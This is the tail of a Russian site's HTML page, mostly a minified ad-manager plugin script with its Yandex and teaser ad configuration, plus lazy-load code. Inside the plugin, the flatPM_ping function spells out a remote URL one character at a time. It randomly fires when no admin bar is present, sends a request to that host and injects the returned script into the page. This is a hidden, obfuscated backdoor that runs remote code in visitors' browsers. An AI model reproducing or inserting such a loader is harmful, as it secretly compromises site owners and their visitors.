0!==a.geo.city_enabled&&-1==a.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==a.geo.city_disabled&&-1!=a.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+a.ID+'"]').remove();for(var r,i,l,s,f=0;f<o;f++)("∞"==a.html[f].res_of||a.html[f].res_of<=flat_userVars.winwidth)&&("∞"==a.html[f].res_to||a.html[f].res_to>flat_userVars.winwidth)&&(void 0!==a.html[f].group?flat_userVars.adb?(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd)):(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(a.html[f].fst)):flat_userVars.adb?t.push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd):t.push(a.html[f].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0===a.how.simple&&void 0===a.how.onсe&&void 0===a.how.iterable||ff('[data-flat-id="'+a.ID+'"]').each(function(){flatPM_setHTML(this,e)}),void 0!==a.how.popup&&(p="true"==a.how.popup.cross?void 0!==a.how.popup.timer&&"true"==a.how.popup.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.popup.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",document.createElement("div"),c=ff(window),b=ff("body"),g=void 0===flatPM_getCookie("flat_modal_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+a.ID+"_mb"),i="scroll.flatmodal"+a.ID,m="mouseleave.flatmodal"+a.ID+" blur.flatmodal"+a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&"true"==a.how.popup.timer&&(t=ff('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))},s=function(){void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie&&g&&(flatPM_setCookie("flat_modal_"+a.ID+"_mb",!1),ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l()),void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie||(ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l())},ff("body > *").eq(0).before('<div class="fpm_5_modal" data-flat-id="'+a.ID+'" data-id-modal="'+a.ID+'"><div class="fpm_5_modal-content">'+p+"</div></div>"),w=document.querySelector('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_modal-content'),flatPM_setHTML(w,e),"px"==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer&&(t=ff('.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie&&g&&(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n(),b.on("click",'.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_cross',function(){flatPM_setCookie("flat_out_"+a.ID+"_mb",!1)})),void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie||(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n())}var _,u="0"!=a.how.outgoing.indent?' style="bottom:'+a.how.outgoing.indent+'px"':"",p="true"==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.outgoing.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",c=ff(window),h="scroll.out"+a.ID,m="mouseleave.outgoing"+a.ID+" blur.outgoing"+a.ID,g=void 0===flatPM_getCookie("flat_out_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+a.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(a.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="fpm_5_out '+_+'"'+u+' data-flat-id="'+a.ID+'" data-id-out="'+a.ID+'">'+p+"</div>");var v,w=document.querySelector('.fpm_5_out[data-id-out="'+a.ID+'"]');flatPM_setHTML(w,e),"px"==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var o=flat_pm_arr[e],a=!1;if(!(void 0!==o.chapter_limit&&o.chapter_limit>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_userVars.textlen||void 0!==o.title_limit&&o.title_limit>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_userVars.titlelen)){if(void 0!==o.date){if(void 0!==o.date.time_of&&void 0!==o.date.time_to){var r=new Date(flat_userVars.date+"T"+o.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+o.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),s=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),s<r||i<s)continue}if(void 0!==o.date.date_of&&void 0!==o.date.date_to){var i=new Date(o.date.date_of+"T00:00:00"),s=new Date(o.date.date_to+"T00:00:00"),f=new Date(flat_userVars.date+"T00:00:00");if(f<i||s<f)continue}}if(void 0===o.os||!(void 0!==o.os.os_enabled&&-1==o.os.os_enabled.indexOf(flat_userVars.os)||void 0!==o.os.os_disabled&&-1!=o.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==o.cookies){var n=!1;if(void 0!==o.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(o.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==o.cookies.cookies_disabled&&flat_userVars.testcook&&ff(o.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==o.utmget){var d=!1;if(void 0!==o.utmget.utmget_enabled&&ff(o.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==o.utmget.utmget_disabled&&ff(o.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==o.referer&&(void 0!==o.referer.referer_enabled&&-1==o.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==o.referer.referer_disabled&&-1!=o.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(a=!0),!a&&void 0!==o.browser&&(void 0!==o.browser.browser_enabled&&-1==o.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==o.browser.browser_disabled&&-1!=o.browser.browser_disabled.indexOf(flat_userVars.browser))||(a&&void 0!==o.browser&&void 0!==o.browser.browser_enabled&&-1!=o.browser.browser_enabled.indexOf(flat_userVars.browser)&&(a=!1),a||void 0===o.geo&&void 0===o.ip&&void 0===o.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(f="block_geo_role_ip",flat_pm_then.push(o),flatPM_setWrap(o),flat_body.hasClass(f)||(flat_body.addClass(f),flatPM_ajax(f)),a=!0),a||(flatPM_setWrap(o),flatPM_next(o)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="fpm_5_modal-overlay"></div>'),flat_body.on("click",".fpm_5_out .fpm_5_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".fpm_5_modal .fpm_5_cross",function(){ff(this).closest(".fpm_5_modal").removeClass("fpm_5_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),ff("[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)").contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(l,"<$1></$2>")+r[2],n=r[0];n--;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,166);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"r"+"e"+"a"+"d"+"o"+"n"+"e"+"."+"r"+"u"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{r.appendChild(a)}catch(e){return console.warn(e),!0}ff(r).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,r="yandex_rtb_R";t.indexOf(r)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(r,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var n=parseHTML(t);if(0!=n.children.length)for(var o=n.childNodes.length,l=0;l<o;l++){var d=n.childNodes[l],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0<d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?i.innerHTML=d.innerHTML:(!d.text||/(yandexContext|yandexcontext)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,n='<div class="fpm_5_video_flex"><div class="fpm_5_timer">'+a+" через <span>"+l+'</span></div><div class="fpm_5_video_item">'+r+'</div><div class="fpm_5_video_item_hover"></div></div>',i=e.once;o(t).each(function(){var e=o(this);e.wrap('<div class="fpm_5_video"></div>');var t=e.closest(".fpm_5_video");flatPM_setHTML(t[0],n),e.find(".fpm_5_video_flex").one("click",function(){o(this).addClass("show")})}),o("body").on("click",".fpm_5_video_item_hover",function(){var e=o(this),t=e.closest(".fpm_5_video_flex");t.addClass("show");var a=t.find(".fpm_5_timer span"),r=parseInt(l),n=setInterval(function(){a.text(--r),r<=0&&(clearInterval(n),"true"==d?a.parent().replaceWith('<button class="fpm_5_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".fpm_5_video_flex .fpm_5_cross",function(){o(this).closest(".fpm_5_video_flex").remove(),"true"==i&&o(".fpm_5_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"1","selector":".flat_pm_start~p","search_all":"false"}},"ID":"225865","html":[{"fst":"<!-- Yandex.RTB R-A-1618939-1 -->\n<div id='yandex_rtb_R-A-1618939-1'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-1',\n blockId: 'R-A-1618939-1'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"5","selector":".flat_pm_start~p","search_all":"false"}},"ID":"225846","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-2'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-2',\n blockId: 'R-A-1618939-2'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"10","selector":".flat_pm_start~p","search_all":"false"}},"ID":"225847","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-3'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-3',\n blockId: 'R-A-1618939-3'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"15","selector":".flat_pm_start~p","search_all":"false"}},"ID":"225848","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-4'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-4',\n blockId: 'R-A-1618939-4'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"20","selector":".flat_pm_start~p","search_all":"false"}},"ID":"225849","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-5'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-5',\n blockId: 'R-A-1618939-5'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"25","selector":".flat_pm_start~p","search_all":"false"}},"ID":"225850","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-6'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-6',\n blockId: 'R-A-1618939-6'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"30","selector":".flat_pm_start~p","search_all":"false"}},"ID":"225851","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-7'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-7',\n blockId: 'R-A-1618939-7'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"35","selector":".flat_pm_start~p","search_all":"false"}},"ID":"225852","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-8'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-8',\n blockId: 'R-A-1618939-8'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"50","selector":".flat_pm_start~p","search_all":"false"}},"ID":"225855","html":[{"fst":"<div data-la-block='fc8c2356-d4cc-4c71-b61b-bf0494946a55'><\/div>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"100","selector":".flat_pm_start~p","search_all":"false"}},"ID":"225860","html":[{"fst":"<script src='https:\/\/news.2xclick.ru\/loader.js' async><\/script>\n<div id='containerId282016' style='margin:5px 0;'><\/div>\n<script>\n(function(w, d, c, s, t){\n\tw[c] = w[c] || [];\n\tw[c].push(function(){\n\t\tgnezdo.create({\n\t\t\ttizerId: 282016,\n\t\t\tcontainerId: 'containerId282016'\n\t\t});\n\t});\n})(window, document, 'gnezdoAsyncCallbacks');\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"3"}},"ID":"225864","html":[{"fst":"<script src='https:\/\/news.2xclick.ru\/loader.js' async><\/script>\n<div id='containerId282018' style='margin:5px 0;'><\/div>\n<script>\n(function(w, d, c, s, t){\n\tw[c] = w[c] || [];\n\tw[c].push(function(){\n\t\tgnezdo.create({\n\t\t\ttizerId: 282018,\n\t\t\tcontainerId: 'containerId282018'\n\t\t});\n\t});\n})(window, document, 'gnezdoAsyncCallbacks');\n<\/script>\n<div data-la-block='9ea12eae-e911-4883-be4b-99902bbb53ac'><\/div>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"before","N":"1","selector":".flat_side_1","search_all":"true"}},"ID":"225866","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-9'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-9',\n blockId: 'R-A-1618939-9'\n })\n})<\/script>","snd":"","res_of":"1024","res_to":"∞"}]},{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"3","indent":"0","after":"15","px_s":"seconds","close_window":"false"}},"ID":"225867","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-10'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-10',\n blockId: 'R-A-1618939-10'\n })\n})<\/script>","snd":"","res_of":"1024","res_to":"∞"}]},{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"3","indent":"0","after":"60","px_s":"seconds","close_window":"false"}},"ID":"225868","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-11'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-11',\n blockId: 'R-A-1618939-11'\n })\n})<\/script>","snd":"","res_of":"1024","res_to":"∞"}]},{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"3","indent":"0","after":"120","px_s":"seconds","close_window":"false"}},"ID":"225869","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-12'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-12',\n blockId: 'R-A-1618939-12'\n })\n})<\/script>","snd":"","res_of":"1024","res_to":"∞"}]},{"how":{"outgoing":{"cross":"true","timer":"true","timer_count":"5","cookie":"true","whence":"2","indent":"0","after":"1000","px_s":"px","close_window":"false"}},"ID":"225870","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-13'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-13',\n blockId: 'R-A-1618939-13'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"1024"}]},{"how":{"outgoing":{"cross":"true","timer":"true","timer_count":"3","cookie":"true","whence":"2","indent":"0","after":"60","px_s":"seconds","close_window":"false"}},"ID":"225871","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-14'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-14',\n blockId: 'R-A-1618939-14'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"1024"}]},{"how":{"outgoing":{"cross":"true","timer":"true","timer_count":"3","cookie":"true","whence":"2","indent":"0","after":"120","px_s":"seconds","close_window":"false"}},"ID":"225872","html":[{"fst":"\n<div id='yandex_rtb_R-A-1618939-15'><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1618939-15',\n blockId: 'R-A-1618939-15'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"1024"}]}];</script> <script> function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123() </script><script>window.lazyLoadOptions = { elements_selector: "img[data-lazy-src],.rocket-lazyload,iframe[data-lazy-src]", data_src: "lazy-src", data_srcset: "lazy-srcset", data_sizes: "lazy-sizes", class_loading: "lazyloading", class_loaded: "lazyloaded", threshold: 300, callback_loaded: function(element) { if ( element.tagName === "IFRAME" && element.dataset.rocketLazyload == "fitvidscompatible" ) { if (element.classList.contains("lazyloaded") ) { if (typeof window.jQuery != "undefined") { if (jQuery.fn.fitVids) { jQuery(element).parent().fitVids(); } } } } }}; window.addEventListener('LazyLoad::Initialized', function (e) { var lazyLoadInstance = e.detail.instance; if (window.MutationObserver) { var observer = new MutationObserver(function(mutations) { var image_count = 0; var iframe_count = 0; var rocketlazy_count = 0; mutations.forEach(function(mutation) { for (i = 0; i < mutation.addedNodes.length; i++) { if (typeof mutation.addedNodes[i].getElementsByTagName !== 'function') { return; } if (typeof mutation.addedNodes[i].getElementsByClassName !== 'function') { return; } images = mutation.addedNodes[i].getElementsByTagName('img'); is_image = mutation.addedNodes[i].tagName == "IMG"; iframes = mutation.addedNodes[i].getElementsByTagName('iframe'); is_iframe = mutation.addedNodes[i].tagName == "IFRAME"; rocket_lazy = mutation.addedNodes[i].getElementsByClassName('rocket-lazyload'); image_count += images.length; iframe_count += iframes.length; rocketlazy_count += rocket_lazy.length; if(is_image){ image_count += 1; } if(is_iframe){ iframe_count += 1; } } } ); if(image_count > 0 || iframe_count > 0 || rocketlazy_count > 0){ lazyLoadInstance.update(); } } ); var b = document.getElementsByTagName("body")[0]; var config = { childList: true, subtree: true }; observer.observe(b, config); } }, false);</script><script data-no-minify="1" async src="https://biznessrussia.ru/wp-content/plugins/rocket-lazy-load/assets/js/16.1/lazyload.min.js"></script><script>function lazyLoadThumb(e){var t='<img loading="lazy" data-lazy-src="https://i.ytimg.com/vi/ID/hqdefault.jpg" alt="" width="480" height="360"><noscript><img src="https://i.ytimg.com/vi/ID/hqdefault.jpg" alt="" width="480" height="360"></noscript>',a='<div class="play"></div>';return t.replace("ID",e)+a}function lazyLoadYoutubeIframe(){var e=document.createElement("iframe"),t="ID?autoplay=1";t+=0===this.dataset.query.length?'':'&'+this.dataset.query;e.setAttribute("src",t.replace("ID",this.dataset.src)),e.setAttribute("frameborder","0"),e.setAttribute("allowfullscreen","1"),e.setAttribute("allow", "accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture"),this.parentNode.replaceChild(e,this)}document.addEventListener("DOMContentLoaded",function(){var e,t,a=document.getElementsByClassName("rll-youtube-player");for(t=0;t<a.length;t++)e=document.createElement("div"),e.setAttribute("data-id",a[t].dataset.id),e.setAttribute("data-query", a[t].dataset.query),e.setAttribute("data-src", a[t].dataset.src),e.innerHTML=lazyLoadThumb(a[t].dataset.id),e.onclick=lazyLoadYoutubeIframe,a[t].appendChild(e)});</script> </body> </html>